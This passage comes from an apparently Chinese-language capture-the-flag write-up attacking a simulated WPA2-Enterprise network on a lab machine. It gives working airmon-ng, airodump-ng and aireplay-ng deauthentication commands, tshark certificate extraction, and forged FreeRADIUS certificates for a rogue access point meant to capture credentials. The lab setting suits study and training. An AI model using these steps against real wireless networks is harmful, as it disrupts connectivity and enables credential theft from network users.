fd00:4c10:d50a:f900:a00:27ff:fe1d:e91f\/64 scope global dynamic mngtmpaddr \n       valid_lft 85671sec preferred_lft 13671sec\n    inet6 fe80::a00:27ff:fe1d:e91f\/64 scope link \n       valid_lft forever preferred_lft forever\n14: docker0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc noqueue state DOWN group default \n    link\/ether 02:42:f2:41:3d:5f brd ff:ff:ff:ff:ff:ff\n    inet 172.17.0.1\/16 brd 172.17.255.255 scope global docker0\n       valid_lft forever preferred_lft forever\n15: wlan0: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff\n16: wlan1: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff\n17: wlan2: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff\n18: wlan3: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:03:00 brd ff:ff:ff:ff:ff:ff\n19: wlan4: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff\n20: wlan5: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:05:00 brd ff:ff:ff:ff:ff:ff\n21: wlan6: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff\n75: wlan60: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ether 02:00:00:00:3c:00 brd ff:ff:ff:ff:ff:ff\n76: hwsim0: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000\n    link\/ieee802.11\/radiotap 12:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff\n78: veth1@if77: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000\n    link\/ether fa:4a:cb:00:bb:8e brd ff:ff:ff:ff:ff:ff link-netnsid 0\n    inet 10.200.1.1\/24 scope global veth1\n       valid_lft forever preferred_lft forever\n    inet6 fe80::f84a:cbff:fe00:bb8e\/64 scope link \n       valid_lft forever preferred_lft forever\n80: veth2@if79: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000\n    link\/ether f6:01:ca:1d:4f:6e brd ff:ff:ff:ff:ff:ff link-netnsid 1\n    inet 10.200.2.1\/24 scope global veth2\n       valid_lft forever preferred_lft forever\n    inet6 fe80::f401:caff:fe1d:4f6e\/64 scope link \n       valid_lft forever preferred_lft forever<\/code><\/pre>\n<p>\u5b58\u5728\u5927\u91cf\u7f51\u5361\u3002\u3002\u3002\u3002\u3002\u4e14\u6709\u4e00\u4e2a<code>docker<\/code>\u7f51\u5361\u3002\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6709\u54ea\u4e9b\u4f7f\u7528\u65b9\u5f0f<\/p>\n<p>\u4f46\u5c31\u8fd9\u4e48\u770b\u7740\u8fd8\u662f\u4e00\u5934\u96fe\u6c34\uff0c\u770b\u4e00\u4e0b\u6709\u65e0\u76f8\u5173\u8d44\u6599\uff1a<\/p>\n<blockquote>\n<p><a href=\"https:\/\/github.com\/ricardojoserf\/wifi-pentesting-guide\">https:\/\/github.com\/ricardojoserf\/wifi-pentesting-guide<\/a><\/p>\n<p><a href=\"https:\/\/book.hacktricks.wiki\/en\/generic-methodologies-and-resources\/pentesting-wifi\/index.html\">https:\/\/book.hacktricks.wiki\/en\/generic-methodologies-and-resources\/pentesting-wifi\/index.html<\/a><\/p>\n<p><a href=\"https:\/\/www.netprojnetworks.com\/creating-fake-certificates-hostapd-mana-hostapd\/\">https:\/\/www.netprojnetworks.com\/creating-fake-certificates-hostapd-mana-hostapd\/<\/a><\/p>\n<p><a href=\"https:\/\/shuciran.github.io\/posts\/Attacking-WPA-Enterprise\/\">https:\/\/shuciran.github.io\/posts\/Attacking-WPA-Enterprise\/<\/a><\/p>\n<\/blockquote>\n<h4>\u76d1\u542c\u7f51\u5361<\/h4>\n<p>\u7531\u4e8e\u542b\u6709\u5f88\u591a\u65e0\u7ebf\u7f51\u5361\uff0c\u6839\u636e\u4f20\u7edf\u6b65\u9aa4\uff0c\u5148<strong>\u6392\u67e5\u5e76\u7ec8\u6b62\u53ef\u80fd\u5e72\u6270\u65e0\u7ebf\u7f51\u5361\u76d1\u63a7\u6a21\u5f0f\u7684\u8fdb\u7a0b<\/strong>\u3002<\/p>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo \/usr\/sbin\/airmon-ng check kill  # \u7ec8\u6b62\u5e72\u6270\u8fdb\u7a0b\n\nKilling these processes:\n\n    PID Name\n    639 dhclient\n\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo \/usr\/sbin\/airmon-ng start wlan0  # \u5f00\u542f\u76d1\u542c\u6a21\u5f0f\n\nPHY     Interface       Driver          Chipset\n\nphy10   wlan0           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\n\n                (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)\n                (mac80211 station mode vif disabled for [phy10]wlan0)\nphy11   wlan1           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\nphy12   wlan2           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\nphy13   wlan3           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\nphy14   wlan4           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\nphy15   wlan5           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\nphy16   wlan6           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211\nphy70   wlan60          mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211<\/code><\/pre>\n<p>\u53d1\u73b0\u7f51\u5361\u63a5\u53e3\u4e3a<code>wlan0mon<\/code><\/p>\n<p>\u626b\u63cf\u4e0d\u540c\u9891\u6bb5\u7684\u7f51\u7edc\uff0c\u5206\u522b\u662f 2.4GHz \u548c 5GHz\uff01\uff01\uff01\uff08\u8fd9\u4e2a\u6211\u77e5\u9053\uff01\uff01\uff01\uff09<\/p>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo \/usr\/sbin\/airodump-ng wlan0mon   # 2.4GHz<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338999.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338999.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621215627896\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u611f\u89c9\u6ca1\u7528\u3002<\/p>\n<pre><code class=\"language-bash\">sudo \/usr\/sbin\/airodump-ng wlan0mon --band a   # 5GHz<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338000.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338000.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621215735248\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u6709\u4e1c\u897f\u4e86\uff01\uff01\uff01\uff01<\/p>\n<blockquote>\n<p><strong>\u53cb\u60c5\u63d0\u793a\uff1a\u8fd9\u91cc\u7684\u76d1\u542c\u4e0d\u8981\u5173\uff0c\u540e\u9762\u6bcf\u4e00\u6b65\u90fd\u9700\u8981\u7528\u5230\u8fd9\u4e2a\uff0c\u8fd9\u4e2a\u5c31\u50cf\u773c\u775b\uff0c\u7528\u6765\u8f85\u52a9\u8fdb\u884c\u653b\u51fb\u7684\uff0c\u6dfb\u52a0ssh\u51ed\u8bc1\u591a\u5f00\u51e0\u4e2a\u7ec8\u7aef\u8fdb\u884c\u4e0b\u9762\u7684\u653b\u51fb\uff01<\/strong><\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">BSSID              PWR  Beacons    #Data, #\/s  CH   MB   ENC CIPHER  AUTH ESSID\n F0:9F:C2:71:22:15  -28       15        0    0  44   54e  WPA2 CCMP   MGT  wifi-college\n F0:9F:C2:71:22:17  -28       15        0    0  40   54e  WPA2 CCMP   MGT  wifi-college\n F0:9F:C2:71:22:16  -28       15        0    0  36   54e  WPA2 CCMP   MGT  wifi-college<\/code><\/pre>\n<p>\u68c0\u6d4b\u5230\u4e09\u4e2a <code>WPA2<\/code> \u7ba1\u7406\uff08MGT\uff09\u8bbf\u95ee\u70b9\u4ee5\u53ca <code>WiFi-College<\/code>\u8868\u660e\u4e86\u4e00\u4e9b\u60c5\u51b5\uff1a<\/p>\n<ul>\n<li>\u8be5\u65e0\u7ebf\u7f51\u7edc\u91c7\u7528 <strong>WPA2-Enterprise\uff08\u4f01\u4e1a\u7ea7\u8ba4\u8bc1\uff09<\/strong>\uff0c\u5373\u901a\u8fc7 <strong>802.1X \u534f\u8bae<\/strong> \u548c <strong>RADIUS \u670d\u52a1\u5668<\/strong> \u5b9e\u73b0\u8eab\u4efd\u9a8c\u8bc1<\/li>\n<li><code>wifi-college<\/code> \u662f\u8be5\u65e0\u7ebf\u7f51\u7edc\u7684 <strong>ESSID\uff08\u7f51\u7edc\u540d\u79f0\uff09<\/strong>\uff0c\u901a\u5e38\u7531\u7f51\u7edc\u7ba1\u7406\u5458\u8bbe\u7f6e\u3002\n<ul>\n<li>\u53ef\u80fd\u662f\u67d0\u9ad8\u6821\u7684\u516c\u5171 Wi-Fi\uff08\u5982\u6559\u5b66\u533a\u3001\u5bbf\u820d\u533a\uff09\u3002<\/li>\n<li>\u4f7f\u7528 WPA2-Enterprise \u4fdd\u969c\u5b66\u751f\u3001\u6559\u804c\u5de5\u7684\u5b89\u5168\u63a5\u5165\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\u7ed3\u5408\u4e4b\u524d\u7684\u5de5\u5177\u53ef\u4ee5\u731c\u6d4b\u63a5\u4e0b\u6765\u662f\u5229\u7528\u4f2a\u9020<code>wifi<\/code>\u8fdb\u884c\u4e2d\u95f4\u4eba\u653b\u51fb\u6216\u6570\u636e\u7a83\u53d6\u3002\uff08fake APs\uff09\uff0c\u6bd4\u5982\u53ef\u4ee5\u6355\u83b7\u7528\u6237\u51ed\u636e\u53ca\u5176 <code>NetNTLM hash<\/code>\u4ee5\u8fdb\u884c\u4ee5\u540e\u7684\u7834\u89e3\u3002<\/li>\n<\/ul>\n<p>\u8fd8\u6709\u4e00\u4e2a<code>airodump-ng wlan0mon --wps #Scan WPS<\/code>\u9002\u7528\u4e8e\u626b\u63cfWiFi\u63a5\u5165\u70b9\u7684\uff0c\u8fd9\u91cc\u4e0d\u9700\u8981\u8fdb\u884c\u6d4b\u8bd5\u3002<\/p>\n<h4>Fake APs<\/h4>\n<p>\u9996\u5148\u9700\u8981\u8fdb\u884c\u89e3\u9664\u9a8c\u8bc1\u653b\u51fb\uff0c\u5c31\u662f\u8ba9\u4ed6\u4eec\u91cd\u65b0\u8fdewifi\uff0c\u6211\u4eec\u4f2a\u9020\u4e00\u4e0b\uff0c\u8ba9\u4ed6\u4eec\u53d1\u9001\u8ba4\u8bc1\u4fe1\u606f\u7ed9\u6211\u4eec\uff1a<\/p>\n<blockquote>\n<p>\u901a\u8fc7\u5f3a\u5236\u7f51\u7edc\u91cd\u8fde\uff0c\u8feb\u4f7f\u5ba2\u6237\u7aef\u4e0e AP \u91cd\u65b0\u534f\u5546\u5bc6\u94a5\uff0c\u4ece\u800c\u66b4\u9732\u63e1\u624b\u5305\u548c\u8bc1\u4e66\u4fe1\u606f\u3002\u653b\u51fb\u8005\u5229\u7528\u6b64\u8fc7\u7a0b\u5b9e\u65bd\u4e2d\u95f4\u4eba\u653b\u51fb\uff0c\u7a83\u53d6\u654f\u611f\u6570\u636e\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338001.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338001.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"aaa\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p><strong>\u91cd\u7f6e\u7f51\u7edc\u72b6\u6001<\/strong>\uff1a\u65ad\u5f00\u8fde\u63a5\u540e\uff0c\u5ba2\u6237\u7aef\u9700\u91cd\u65b0\u534f\u5546\u52a0\u5bc6\u5bc6\u94a5\uff08\u5982 PMK\uff09\uff0c\u6b64\u8fc7\u7a0b\u4f1a\u91cd\u65b0\u751f\u6210\u63e1\u624b\u5305\uff0c\u589e\u52a0\u653b\u51fb\u8005\u6355\u83b7\u7684\u6982\u7387\u3002<\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan0mon \naireplay-ng -0 0 -a F0:9F:C2:71:22:16 wlan0mon\naireplay-ng -0 0 -a F0:9F:C2:71:22:17 wlan0mon <\/code><\/pre>\n<ul>\n<li>-0 \u8868\u793a\u53d6\u6d88\u8ba4\u8bc1<\/li>\n<li>1 \u8868\u793a\u8981\u53d1\u9001\u7684\u53d6\u6d88\u8ba4\u8bc1\u6b21\u6570\uff08\u5982\u679c\u9700\u8981\uff0c\u53ef\u4ee5\u53d1\u9001\u591a\u4e2a\uff09\uff1b0 \u8868\u793a\u8fde\u7eed\u53d1\u9001<\/li>\n<li>-a  \u662f\u63a5\u5165\u70b9\u7684 MAC \u5730\u5740<\/li>\n<li>-c  \u662f\u8981\u53d6\u6d88\u8eab\u4efd\u9a8c\u8bc1\u7684\u5ba2\u6237\u7aef\u7684 MAC \u5730\u5740\uff1b\u5982\u679c\u7701\u7565\u6b64\u9879\uff0c\u5219\u53d1\u9001\u5e7f\u64ad\u53d6\u6d88\u8eab\u4efd\u9a8c\u8bc1\uff08\u5e76\u975e\u603b\u662f\u6709\u6548\uff09<\/li>\n<\/ul>\n<p>\u7136\u540e\u62a5\u9519\u4e86\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo \/usr\/sbin\/aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan0mon \n14:40:31  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:15) on channel 56\n14:40:44  No such BSSID available.<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4e3a\u9776\u573a\u7f51\u5361\u91cd\u65b0\u751f\u6210 mac \u5730\u5740\u7684\u3002\u3002\u3002\u3002\u5173\u6389\u9776\u673a\u91cd\u65b0\u6765\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338002.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338002.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621224527359\" style=\"zoom:50%;\" \/><\/div><\/p>\n<blockquote>\n<p><strong>\u6ce8\u610f\uff1a<\/strong>\u5173\u6389\u9776\u673a\u4ee5\u540eIP\u4f1a\u53d8\uff0c\u4e0d\u8981\u5fd8\u4e86\u4fee\u6539 hosts \u54e6\uff01<\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter\/Hogwarts_web$ sudo \/usr\/sbin\/aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan0mon\n14:55:24  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:15) on channel 112\n14:55:58  No such BSSID available.<\/code><\/pre>\n<p>\u554a\uff0c\u5565\u60c5\u51b5\u554a\uff0c\u5c1d\u8bd5\u76d1\u542c\u4e00\u4e0b\u6d41\u91cf\uff0c\u89c2\u5bdf\u4e00\u4e0b\uff0c\u9700\u8981\u5f00\u4e24\u4e2a\u7ec8\u7aef\uff0c\u53ef\u4ee5\u6dfb\u52a0<code>ssh<\/code>\u79c1\u94a5\u548c\u516c\u94a5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338003.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338003.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622095602424\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fd9\u91cc\u5fc5\u987b\u8981\u76d1\u542c\u624d\u53ef\u4ee5\u8fdb\u884c\u505c\u6b62\u9a8c\u8bc1\uff01\uff01\uff01\uff01\u8fd9\u662f\u56e0\u4e3a<code>airodump-ng<\/code>\u9700\u6355\u83b7\u76ee\u6807AP\u7684BSSID\u3001\u4fe1\u9053\u3001\u52a0\u5bc6\u7c7b\u578b\u7b49\u4fe1\u606f\u3002\u82e5\u672a\u63d0\u524d\u626b\u63cf\uff08\u5982\u672a\u6307\u5b9a<code>-c 36,40,44<\/code>\uff09\uff0c<code>aireplay-ng<\/code>\u65e0\u6cd5\u81ea\u52a8\u8bc6\u522b\u653b\u51fb\u76ee\u6807\u3002<\/p>\n<p>\u8bbe\u7f6e\u76d1\u542c\u4fdd\u5b58\u6d41\u91cf\u5305\uff1a<\/p>\n<pre><code class=\"language-bash\"># mkdir \/tmp\/scan\nsudo \/usr\/sbin\/airodump-ng wlan0mon --band a -c 36,40,44 -w \/tmp\/scan\/<\/code><\/pre>\n<p>\u91cd\u590d\u4e0a\u8ff0\u64cd\u4f5c\u5373\u53ef\u3002<\/p>\n<p>\u8fd9\u5c31\u4ee3\u8868\u5df2\u7ecf\u53d1\u9001\u4e86\u505c\u6b62\u9a8c\u8bc1\u7684\u4fe1\u606f\uff0c\u76ee\u6807\u63a5\u6536\u5230\u5c31\u4f1a\u7acb\u9a6c\u8fdb\u884c\u505c\u6b62\uff0c\u7136\u540e\u5c1d\u8bd5\u91cd\u8fde\uff0c\u6211\u4eec\u5219\u4f7f\u4f7f\u7528\u5de5\u5177\u4fdd\u5b58\u6d41\u91cf\u5305\uff0c\u53ef\u4ee5\u67e5\u770b\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:~$ ls -la \/tmp\/scan\ntotal 704\ndrwxrwxr-x  2 harry_potter harry_potter   4096 Jun 22 01:54 .\ndrwxrwxrwt 13 root         root           4096 Jun 22 01:53 ..\n-rw-r--r--  1 root         root         190065 Jun 22 01:55 -01.cap\n-rw-r--r--  1 root         root           1118 Jun 22 01:55 -01.csv\n-rw-r--r--  1 root         root           1126 Jun 22 01:55 -01.kismet.csv\n-rw-r--r--  1 root         root           9912 Jun 22 01:55 -01.kismet.netxml\n-rw-r--r--  1 root         root         496400 Jun 22 01:55 -01.log.csv<\/code><\/pre>\n<p>\u7136\u540e\u6309\u7167\u4f5c\u8005\u7684\u547d\u4ee4\u8fdb\u884c\u63d0\u53d6\uff1a<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp\/scan$ tshark -r -01.cap -Y &quot;ssl.handshake.type == 11&quot; -V | grep -ow -E &#039;(countryName=\\\\w+)|(stateOrProvinceName=.+)|(localityName=.+)|(organizationName=.+)|(emailAddress=.+)|(commonName=.+)&#039; | cut -d &#039;,&#039; -f 1 | sed &#039;s\/)\/\/&#039; | sort -u\ncommonName=Hogwarts Certificate Authority\nemailAddress=ca@hogwarts.htb\nemailAddress=server@hogwarts.htb\nlocalityName=Madrid\norganizationName=Hogwarts\nstateOrProvinceName=Madrid<\/code><\/pre>\n<ul>\n<li>\u8fc7\u6ee4\u51fa <strong>SSL\/TLS \u63e1\u624b\u7c7b\u578b\u4e3a 11<\/strong> \u7684\u6570\u636e\u5305\uff08\u5373\u8bc1\u4e66\u6d88\u606f\uff0c\u5305\u542b\u8bc1\u4e66\u5185\u5bb9\uff09<\/li>\n<\/ul>\n<blockquote>\n<p><strong>tshark<\/strong> \u662f <strong>Wireshark \u7684\u547d\u4ee4\u884c\u7248\u672c<\/strong>\uff0c\u4e13\u4e3a\u65e0\u56fe\u5f62\u754c\u9762\u73af\u5883\u8bbe\u8ba1\u7684\u7f51\u7edc\u534f\u8bae\u5206\u6790\u5de5\u5177\u3002\u5b83\u80fd\u591f\u5b9e\u65f6\u6355\u83b7\u7f51\u7edc\u6d41\u91cf\u3001\u89e3\u6790\u6570\u636e\u5305\u3001\u63d0\u53d6\u5173\u952e\u4fe1\u606f\uff0c\u5e76\u652f\u6301\u5c06\u7ed3\u679c\u4fdd\u5b58\u4e3a\u6587\u4ef6\u6216\u4e0e\u5176\u4ed6\u5de5\u5177\u96c6\u6210<\/p>\n<\/blockquote>\n<p>\u4e5f\u53ef\u4ee5\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u4f7f\u7528 wireshark \u8fdb\u884c\u6d4b\u8bd5\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338004.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338004.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622103137042\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u5c31\u662f\u4f2a\u9020 wifi\uff0cgrep\u51fa\u6765\u7684\u5c31\u662f\u9700\u8981\u4f2a\u9020\u90e8\u5206\uff1a<\/p>\n<blockquote>\n<p>FreeRADIUS \u662f\u4e00\u6b3e\u5f00\u6e90\u7684 <strong>RADIUS \u534f\u8bae\u670d\u52a1\u5668<\/strong>\uff0c\u4e3b\u8981\u7528\u4e8e\u5b9e\u73b0\u7f51\u7edc\u8d44\u6e90\u7684 <strong>\u96c6\u4e2d\u5316\u8ba4\u8bc1\u3001\u6388\u6743\u548c\u8ba1\u8d39\uff08AAA\uff09<\/strong>\u3002\u5176\u6838\u5fc3\u529f\u80fd\u662f\u4e3a\u7f51\u7edc\u8bbe\u5907\uff08\u5982\u65e0\u7ebf\u63a5\u5165\u70b9\u3001\u8def\u7531\u5668\u3001VPN \u670d\u52a1\u5668\u7b49\uff09\u63d0\u4f9b\u7528\u6237\u8eab\u4efd\u9a8c\u8bc1\u670d\u52a1\uff0c\u5e76\u6839\u636e\u7b56\u7565\u63a7\u5236\u7528\u6237\u5bf9\u8d44\u6e90\u7684\u8bbf\u95ee\u6743\u9650\u3002<\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp$ mkdir fakeap\nharry_potter@MagiFi:\/tmp$ cd fakeap\/\nharry_potter@MagiFi:\/tmp\/fakeap$ cp -R \/etc\/freeradius\/3.0\/certs certs\nharry_potter@MagiFi:\/tmp\/fakeap$ chmod -R 777 certs\/\nharry_potter@MagiFi:\/tmp\/fakeap$ nano certs\/ca.cnf\nharry_potter@MagiFi:\/tmp\/fakeap$ grep &#039;^\\[certificate_&#039; -A 7 certs\/ca.cnf\n[certificate_authority]\ncountryName             = ES\nstateOrProvinceName     = Madrid\nlocalityName            = Madrid\norganizationName        = Hogwarts\nemailAddress            = ca@hogwarts.htb\ncommonName              = &quot;Hogwarts Certificate Authority&quot;\n\nharry_potter@MagiFi:\/tmp\/fakeap$ nano certs\/server.cnf\nharry_potter@MagiFi:\/tmp\/fakeap$ grep &#039;^\\[server&#039; -A 7 certs\/server.cnf \n[server]\ncountryName             = ES\nstateOrProvinceName     = Madrid\nlocalityName            = Madrid\norganizationName        = Hogwarts\nemailAddress            = server@hogwarts.htb\ncommonName              = &quot;Hogwarts Certificate Authority&quot;\n\nharry_potter@MagiFi:\/tmp\/fakeap$ cd certs\/\nharry_potter@MagiFi:\/tmp\/fakeap\/certs$ make\nopenssl dhparam -out dh -2 2048\nGenerating DH parameters, 2048 bit long safe prime, generator 2\nThis is going to take a long time\n..................................+...............................................................................................+...++*++*++*++*\nopenssl req -new  -out server.csr -keyout server.key -config .\/server.cnf\nGenerating a RSA private key\n................................................................................................+++++\n...+++++\nwriting new private key to &#039;server.key&#039;\n-----\nchmod g+r server.key\nopenssl req -new -x509 -keyout ca.key -out ca.pem \\\n        -days &#039;60&#039; -config .\/ca.cnf \\\n        -passin pass:&#039;whatever&#039; -passout pass:&#039;whatever&#039;\nGenerating a RSA private key\n.........................................................+++++\n.....................+++++\nwriting new private key to &#039;ca.key&#039;\n-----\nchmod g+r ca.key\nopenssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key &#039;whatever&#039; -out server.crt -extensions xpserver_ext -extfile xpextensions -config .\/server.cnf\nUsing configuration from .\/server.cnf\nCheck that the request matches the signature\nSignature ok\nCertificate 